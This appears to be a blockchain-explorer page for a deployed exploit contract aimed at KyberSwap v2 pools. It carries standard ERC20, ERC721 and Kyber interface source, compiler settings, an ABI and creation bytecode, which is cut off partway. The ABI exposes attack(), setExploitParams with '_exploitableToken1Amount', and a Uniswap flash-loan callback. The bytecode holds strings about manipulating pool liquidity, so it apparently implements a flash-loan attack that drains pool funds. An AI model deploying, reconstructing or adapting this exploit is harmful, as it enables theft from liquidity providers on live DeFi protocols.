* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// @title KyberSwap v2 factory
/// @notice Deploys KyberSwap v2 pools and manages control over government fees
interface IFactory {
/// @notice Emitted when a pool is created
/// @param token0 First pool token by address sort order
/// @param token1 Second pool token by address sort order
/// @param swapFeeUnits Fee to be collected upon every swap in the pool, in fee units
/// @param tickDistance Minimum number of ticks between initialized ticks
/// @param pool The address of the created pool
event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed swapFeeUnits,
int24 tickDistance,
address pool
);
/// @notice Emitted when a new fee is enabled for pool creation via the factory
/// @param swapFeeUnits Fee to be collected upon every swap in the pool, in fee units
/// @param tickDistance Minimum number of ticks between initialized ticks for pools created with the given fee
event SwapFeeEnabled(uint24 indexed swapFeeUnits, int24 indexed tickDistance);
/// @notice Emitted when vesting period changes
/// @param vestingPeriod The maximum time duration for which LP fees
/// are proportionally burnt upon LP removals
event VestingPeriodUpdated(uint32 vestingPeriod);
/// @notice Emitted when configMaster changes
/// @param oldConfigMaster configMaster before the update
/// @param newConfigMaster configMaster after the update
event ConfigMasterUpdated(address oldConfigMaster, address newConfigMaster);
/// @notice Emitted when fee configuration changes
/// @param feeTo Recipient of government fees
/// @param governmentFeeUnits Fee amount, in fee units,
/// to be collected out of the fee charged for a pool swap
event FeeConfigurationUpdated(address feeTo, uint24 governmentFeeUnits);
/// @notice Emitted when whitelist feature is enabled
event WhitelistEnabled();
/// @notice Emitted when whitelist feature is disabled
event WhitelistDisabled();
/// @notice Returns the maximum time duration for which LP fees
/// are proportionally burnt upon LP removals
function vestingPeriod() external view returns (uint32);
/// @notice Returns the tick distance for a specified fee.
/// @dev Once added, cannot be updated or removed.
/// @param swapFeeUnits Swap fee, in fee units.
/// @return The tick distance. Returns 0 if fee has not been added.
function feeAmountTickDistance(uint24 swapFeeUnits) external view returns (int24);
/// @notice Returns the address which can update the fee configuration
function configMaster() external view returns (address);
/// @notice Returns the keccak256 hash of the Pool creation code
/// This is used for pre-computation of pool addresses
function poolInitHash() external view returns (bytes32);
/// @notice Returns the pool oracle contract for twap
function poolOracle() external view returns (address);
/// @notice Fetches the recipient of government fees
/// and current government fee charged in fee units
function feeConfiguration() external view returns (address _feeTo, uint24 _governmentFeeUnits);
/// @notice Returns the status of whitelisting feature of NFT managers
/// If true, anyone can mint liquidity tokens
/// Otherwise, only whitelisted NFT manager(s) are allowed to mint liquidity tokens
function whitelistDisabled() external view returns (bool);
//// @notice Returns all whitelisted NFT managers
/// If the whitelisting feature is turned on,
/// only whitelisted NFT manager(s) are allowed to mint liquidity tokens
function getWhitelistedNFTManagers() external view returns (address[] memory);
/// @notice Checks if sender is a whitelisted NFT manager
/// If the whitelisting feature is turned on,
/// only whitelisted NFT manager(s) are allowed to mint liquidity tokens
/// @param sender address to be checked
/// @return true if sender is a whistelisted NFT manager, false otherwise
function isWhitelistedNFTManager(address sender) external view returns (bool);
/// @notice Returns the pool address for a given pair of tokens and a swap fee
/// @dev Token order does not matter
/// @param tokenA Contract address of either token0 or token1
/// @param tokenB Contract address of the other token
/// @param swapFeeUnits Fee to be collected upon every swap in the pool, in fee units
/// @return pool The pool address. Returns null address if it does not exist
function getPool(
address tokenA,
address tokenB,
uint24 swapFeeUnits
) external view returns (address pool);
/// @notice Fetch parameters to be used for pool creation
/// @dev Called by the pool constructor to fetch the parameters of the pool
/// @return factory The factory address
/// @return poolOracle The pool oracle for twap
/// @return token0 First pool token by address sort order
/// @return token1 Second pool token by address sort order
/// @return swapFeeUnits Fee to be collected upon every swap in the pool, in fee units
/// @return tickDistance Minimum number of ticks between initialized ticks
function parameters()
external
view
returns (
address factory,
address poolOracle,
address token0,
address token1,
uint24 swapFeeUnits,
int24 tickDistance
);
/// @notice Creates a pool for the given two tokens and fee
/// @param tokenA One of the two tokens in the desired pool
/// @param tokenB The other of the two tokens in the desired pool
/// @param swapFeeUnits Desired swap fee for the pool, in fee units
/// @dev Token order does not matter. tickDistance is determined from the fee.
/// Call will revert under any of these conditions:
/// 1) pool already exists
/// 2) invalid swap fee
/// 3) invalid token arguments
/// @return pool The address of the newly created pool
function createPool(
address tokenA,
address tokenB,
uint24 swapFeeUnits
) external returns (address pool);
/// @notice Enables a fee amount with the given tickDistance
/// @dev Fee amounts may never be removed once enabled
/// @param swapFeeUnits The fee amount to enable, in fee units
/// @param tickDistance The distance between ticks to be enforced for all pools created with the given fee amount
function enableSwapFee(uint24 swapFeeUnits, int24 tickDistance) external;
/// @notice Updates the address which can update the fee configuration
/// @dev Must be called by the current configMaster
function updateConfigMaster(address) external;
/// @notice Updates the vesting period
/// @dev Must be called by the current configMaster
function updateVestingPeriod(uint32) external;
/// @notice Updates the address receiving government fees and fee quantity
/// @dev Only configMaster is able to perform the update
/// @param feeTo Address to receive government fees collected from pools
/// @param governmentFeeUnits Fee amount, in fee units,
/// to be collected out of the fee charged for a pool swap
function updateFeeConfiguration(address feeTo, uint24 governmentFeeUnits) external;
/// @notice Enables the whitelisting feature
/// @dev Only configMaster is able to perform the update
function enableWhitelist() external;
/// @notice Disables the whitelisting feature
/// @dev Only configMaster is able to perform the update
function disableWhitelist() external;
function addNFTManager(address _nftManager) external returns (bool added);
}// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
interface IPoolOracle {
/// @notice Owner withdrew funds in the pool oracle in case some funds are stuck there
event OwnerWithdrew(
address indexed owner,
address indexed token,
uint256 indexed amount
);
/// @notice Emitted by the Pool Oracle for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param pool The pool address to update
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
address pool,
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Initalize observation data for the caller.
function initializeOracle(uint32 time)
external
returns (uint16 cardinality, uint16 cardinalityNext);
/// @notice Write a new oracle entry into the array
/// and update the observation index and cardinality
/// Read the Oralce.write function for more details
function writeNewEntry(
uint16 index,
uint32 blockTimestamp,
int24 tick,
uint128 liquidity,
uint16 cardinality,
uint16 cardinalityNext
)
external
returns (uint16 indexUpdated, uint16 cardinalityUpdated);
/// @notice Write a new oracle entry into the array, take the latest observaion data as inputs
/// and update the observation index and cardinality
/// Read the Oralce.write function for more details
function write(
uint32 blockTimestamp,
int24 tick,
uint128 liquidity
)
external
returns (uint16 indexUpdated, uint16 cardinalityUpdated);
/// @notice Increase the maximum number of price observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param pool The pool address to be updated
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(
address pool,
uint16 observationCardinalityNext
)
external;
/// @notice Returns the accumulator values as of each time seconds ago from the latest block time in the array of `secondsAgos`
/// @dev Reverts if `secondsAgos` > oldest observation
/// @dev It fetches the latest current tick data from the pool
/// Read the Oracle.observe function for more details
function observeFromPool(
address pool,
uint32[] memory secondsAgos
)
external view
returns (int56[] memory tickCumulatives);
/// @notice Returns the accumulator values as the time seconds ago from the latest block time of secondsAgo
/// @dev Reverts if `secondsAgo` > oldest observation
/// @dev It fetches the latest current tick data from the pool
/// Read the Oracle.observeSingle function for more details
function observeSingleFromPool(
address pool,
uint32 secondsAgo
)
external view
returns (int56 tickCumulative);
/// @notice Return the latest pool observation data given the pool address
function getPoolObservation(address pool)
external view
returns (bool initialized, uint16 index, uint16 cardinality, uint16 cardinalityNext);
/// @notice Returns data about a specific observation index
/// @param pool The pool address of the observations array to fetch
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function getObservationAt(address pool, uint256 index)
external view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
bool initialized
);
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}{
"remappings": [
"ds-test/=lib/forge-std/lib/ds-test/src/",
"erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
"forge-std/=lib/forge-std/src/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/"
],
"optimizer": {
"enabled": true,
"runs": 500
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "ipfs"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"viaIR": false
}Contract ABI
API[{"inputs":[{"internalType":"address","name":"_usdt","type":"address"},{"internalType":"address","name":"_usdc","type":"address"},{"internalType":"address","name":"_kyberPool","type":"address"},{"internalType":"address","name":"_kyberPositionManager","type":"address"},{"internalType":"address","name":"_uniswapPool","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"amount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"attack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"qty0","type":"uint256"},{"internalType":"uint256","name":"qty1","type":"uint256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"mintCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint128","name":"_adjustedLiquidity","type":"uint128"},{"internalType":"uint256","name":"_exploitableToken1Amount","type":"uint256"}],"name":"setExploitParams","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int256","name":"qty0","type":"int256"},{"internalType":"int256","name":"qty1","type":"int256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"swapCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount0","type":"uint256"},{"internalType":"uint256","name":"amount1","type":"uint256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"uniswapV3FlashCallback","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040526a295be96e640669720000006001556005805462ffffff60a01b191661075360a41b17908190556200004290600160a01b900460020b6064620004e7565b6005805462ffffff92909216600160b81b0262ffffff60b81b199092169190911790553480156200007257600080fd5b506040516200247f3803806200247f833981016040819052620000959162000551565b600480546001600160a01b03199081166001600160a01b0388811691909117909255600580548216878416179081905560038054831687851617905560028054831686851617815560008054909316938516939093179091556200010f91600160a01b909104900b62000186602090811b620008d917901c565b600960006101000a8154816001600160a01b0302191690836001600160a01b031602179055506200015a600560179054906101000a900460020b6200018660201b620008d91760201c565b600a80546001600160a01b0319166001600160a01b039290921691909117905550620005d79350505050565b60008060008360020b126200019f578260020b620001a7565b8260020b6000035b9050620d89e8811115620001e55760405162461bcd60e51b81526020600482015260016024820152601560fa1b604482015260640160405180910390fd5b600060018216620001fb57600160801b6200020d565b6ffffcb933bd6fad37aa2d162d1a5940015b6001600160881b03169050600282161562000238576ffff97272373d413259a46990580e213a0260801c5b600482161562000258576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b600882161562000278576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b601082161562000298576fffcb9843d60f6159c9db58835c9266440260801c5b6020821615620002b8576fff973b41fa98c081472e6896dfb254c00260801c5b6040821615620002d8576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615620002f8576ffe5dee046a99a2a811c461f1969c30530260801c5b61010082161562000319576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b6102008216156200033a576ff987a7253ac413176f2b074cf7815e540260801c5b6104008216156200035b576ff3392b0822b70005940c7a398e4b70f30260801c5b6108008216156200037c576fe7159475a2c29b7443b29c7fa6e889d90260801c5b6110008216156200039d576fd097f3bdfd2022b8845ad8f792aa58250260801c5b612000821615620003be576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615620003df576f70d869a156d2a1b890bb3df62baf32f70260801c5b61800082161562000400576f31be135f97d08fd981231505542fcfa60260801c5b6201000082161562000422576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b6202000082161562000443576e5d6af8dedb81196699c329225ee6040260801c5b6204000082161562000463576d2216e584f5fa1ea926041bedfe980260801c5b6208000082161562000481576b048a170391f7dc42444e8fa20260801c5b60008460020b1315620004a6578060001981620004a257620004a2620005c1565b0490505b640100000000810615620004bc576001620004bf565b60005b60ff16602082901c0192505050919050565b634e487b7160e01b600052601160045260246000fd5b60008160020b8360020b6000821282627fffff03821381151615620005105762000510620004d1565b82627fffff190382128116156200052b576200052b620004d1565b50019392505050565b80516001600160a01b03811681146200054c57600080fd5b919050565b600080600080600060a086880312156200056a57600080fd5b620005758662000534565b9450620005856020870162000534565b9350620005956040870162000534565b9250620005a56060870162000534565b9150620005b56080870162000534565b90509295509295909350565b634e487b7160e01b600052601260045260246000fd5b611e9880620005e76000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c8063aa8c217c1161005b578063aa8c217c146100d0578063bdd3d825146100ec578063e9cbafb014610117578063fa483e721461012a57600080fd5b806324ac3eaa146100825780639e5faafc146100b55780639f382e9b146100bd575b600080fd5b6100b36100903660046119ff565b600780546001600160801b03938416600160801b02931692909217909155600855565b005b6100b361013d565b6100b36100cb366004611a74565b6101bc565b6100d960015481565b6040519081526020015b60405180910390f35b6000546100ff906001600160a01b031681565b6040516001600160a01b0390911681526020016100e3565b6100b3610125366004611a74565b6102da565b6100b3610138366004611a74565b61080a565b600080546001546040516312439b2f60e21b81523060048201526024810182905260448101919091526080606482015260848101929092526001600160a01b03169063490e6cbc9060a401600060405180830381600087803b1580156101a257600080fd5b505af11580156101b6573d6000803e3d6000fd5b50505050565b831561024857600b5460405163a9059cbb60e01b8152336004820152602481018690526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b15801561020e57600080fd5b505af1158015610222573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102469190611ac7565b505b82156101b657600c5460405163a9059cbb60e01b8152336004820152602481018590526001600160a01b039091169063a9059cbb906044015b602060405180830381600087803b15801561029b57600080fd5b505af11580156102af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d39190611ac7565b5050505050565b600360009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561032857600080fd5b505afa15801561033c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103609190611af0565b600b805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039283161790556003546040805163d21220a760e01b81529051919092169163d21220a7916004808301926020929190829003018186803b1580156103c657600080fd5b505afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611af0565b600c805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039283161790556004805460025460405163095ea7b360e01b81529084169281019290925260001960248301529091169063095ea7b390604401602060405180830381600087803b15801561047457600080fd5b505af1158015610488573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ac9190611ac7565b5060055460025460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156104fe57600080fd5b505af1158015610512573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105369190611ac7565b5061053f610c11565b610547610ce9565b61054f610e1e565b610557611193565b61055f6111ce565b60035460095460405163092cc68360e21b81523060048201526001600160ff1b036024820152600160448201526001600160a01b03918216606482015260a06084820152600060a48201529116906324b31a0c9060c4016040805180830381600087803b1580156105cf57600080fd5b505af11580156105e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106079190611b19565b5050610611611303565b600480546040516370a0823160e01b815230928101929092526001600160a01b0316906370a082319060240160206040518083038186803b15801561065557600080fd5b505afa158015610669573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068d9190611b3d565b506005546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b1580156106d157600080fd5b505afa1580156106e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107099190611b3d565b506004546000546001546001600160a01b039283169263a9059cbb921690610732908890611b6c565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561077857600080fd5b505af115801561078c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b09190611ac7565b506005546000546001546001600160a01b039283169263a9059cbb9216906107d9908790611b6c565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401610281565b600084131561089957600b5460405163a9059cbb60e01b8152336004820152602481018690526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b15801561085f57600080fd5b505af1158015610873573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108979190611ac7565b505b60008313156101b657600c5460405163a9059cbb60e01b8152336004820152602481018590526001600160a01b039091169063a9059cbb90604401610281565b60008060008360020b126108f0578260020b6108f8565b8260020b6000035b9050620d89e88111156109365760405162461bcd60e51b81526020600482015260016024820152601560fa1b60448201526064015b60405180910390fd5b60006001821661094a57600160801b61095c565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff1690506002821615610990576ffff97272373d413259a46990580e213a0260801c5b60048216156109af576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b60088216156109ce576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b60108216156109ed576fffcb9843d60f6159c9db58835c9266440260801c5b6020821615610a0c576fff973b41fa98c081472e6896dfb254c00260801c5b6040821615610a2b576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615610a4a576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615610a6a576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615610a8a576ff987a7253ac413176f2b074cf7815e540260801c5b610400821615610aaa576ff3392b0822b70005940c7a398e4b70f30260801c5b610800821615610aca576fe7159475a2c29b7443b29c7fa6e889d90260801c5b611000821615610aea576fd097f3bdfd2022b8845ad8f792aa58250260801c5b612000821615610b0a576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615610b2a576f70d869a156d2a1b890bb3df62baf32f70260801c5b618000821615610b4a576f31be135f97d08fd981231505542fcfa60260801c5b62010000821615610b6b576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b62020000821615610b8b576e5d6af8dedb81196699c329225ee6040260801c5b62040000821615610baa576d2216e584f5fa1ea926041bedfe980260801c5b62080000821615610bc7576b048a170391f7dc42444e8fa20260801c5b60008460020b1315610be8578060001981610be457610be4611b84565b0490505b640100000000810615610bfc576001610bff565b60005b60ff16602082901c0192505050919050565b6003546005546001600160a01b03909116906324b31a0c903090600160ff1b90600190610c4790600160a01b900460020b6108d9565b60405160e086901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093529015156044830152909116606482015260a06084820152600060a482015260c4016040805180830381600087803b158015610cad57600080fd5b505af1158015610cc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce59190611b19565b5050565b6040805161018081018252600b546001600160a01b039081168252600c5481166020830152600a92820192909252600554600160a01b8104600290810b60608401819052600160b81b909204900b6080830181905260035460009460a0850193610d579392909116916116dd565b81526a2d7eb3f96e070d970000006020820181905260408083019190915260006060830181905260808301523060a08301524260c090920191909152600254905163752a031960e11b81529192506001600160a01b03169063ea54063290610dc3908490600401611bc5565b608060405180830381600087803b158015610ddd57600080fd5b505af1158015610df1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e159190611ca7565b50505060065550565b600080600360009054906101000a90046001600160a01b03166001600160a01b031663ab612f2b6040518163ffffffff1660e01b815260040160606040518083038186803b158015610e6f57600080fd5b505afa158015610e83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea79190611ce5565b5060075491935091506001600160801b03808316600160801b9092041611610f375760405162461bcd60e51b815260206004820152603160248201527f41646a7573746564206c6971756964697479206d75737420626520677265617460448201527f6572207468616e207265696e766573744c000000000000000000000000000000606482015260840161092d565b600754600090610f58908390600160801b90046001600160801b0316611d32565b9050806001600160801b0316836001600160801b03161015610fcf5760405162461bcd60e51b815260206004820152602a60248201527f43757272656e742062617365206c6971756964697479206973206c65737320746044820152691a185b881d185c99d95d60b21b606482015260840161092d565b6000610fdb8285611d32565b6002546040805160a08101825260065481526001600160801b0384811660208301908152600083850181815260608501918252426080860190815295516398e04d7760e01b81529451600486015291519092166024840152516044830152516064820152905160848201529192506001600160a01b0316906398e04d779060a401606060405180830381600087803b15801561107657600080fd5b505af115801561108a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ae9190611d5a565b5050600254600b5460405163bf1316c160e01b81526001600160a01b039182166004820152600060248201523060448201529116915063bf1316c190606401600060405180830381600087803b15801561110757600080fd5b505af115801561111b573d6000803e3d6000fd5b5050600254600c5460405163bf1316c160e01b81526001600160a01b039182166004820152600060248201523060448201529116925063bf1316c19150606401600060405180830381600087803b15801561117557600080fd5b505af1158015611189573d6000803e3d6000fd5b5050505050505050565b6003546008546001600160a01b03909116906324b31a0c9030906000610c47600173fffd8963efd1fc6a506488495d951d5263988d26611d88565b600354600a5460405163092cc68360e21b81523060048201526001600160ff1b036024820152600160448201526001600160a01b03918216606482015260a06084820152600060a48201529116906324b31a0c9060c4016040805180830381600087803b15801561123e57600080fd5b505af1158015611252573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112769190611b19565b5050600360009054906101000a90046001600160a01b03166001600160a01b031663ab612f2b6040518163ffffffff1660e01b815260040160606040518083038186803b1580156112c657600080fd5b505afa1580156112da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fe9190611ce5565b505050565b600b546003546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a082319060240160206040518083038186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611b3d565b600c546003546040516370a0823160e01b81526001600160a01b0391821660048201529293506000929116906370a082319060240160206040518083038186803b1580156113d457600080fd5b505afa1580156113e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140c9190611b3d565b600b546040516370a0823160e01b81523060048201529192506000916001600160a01b03909116906370a0823190602401602060405180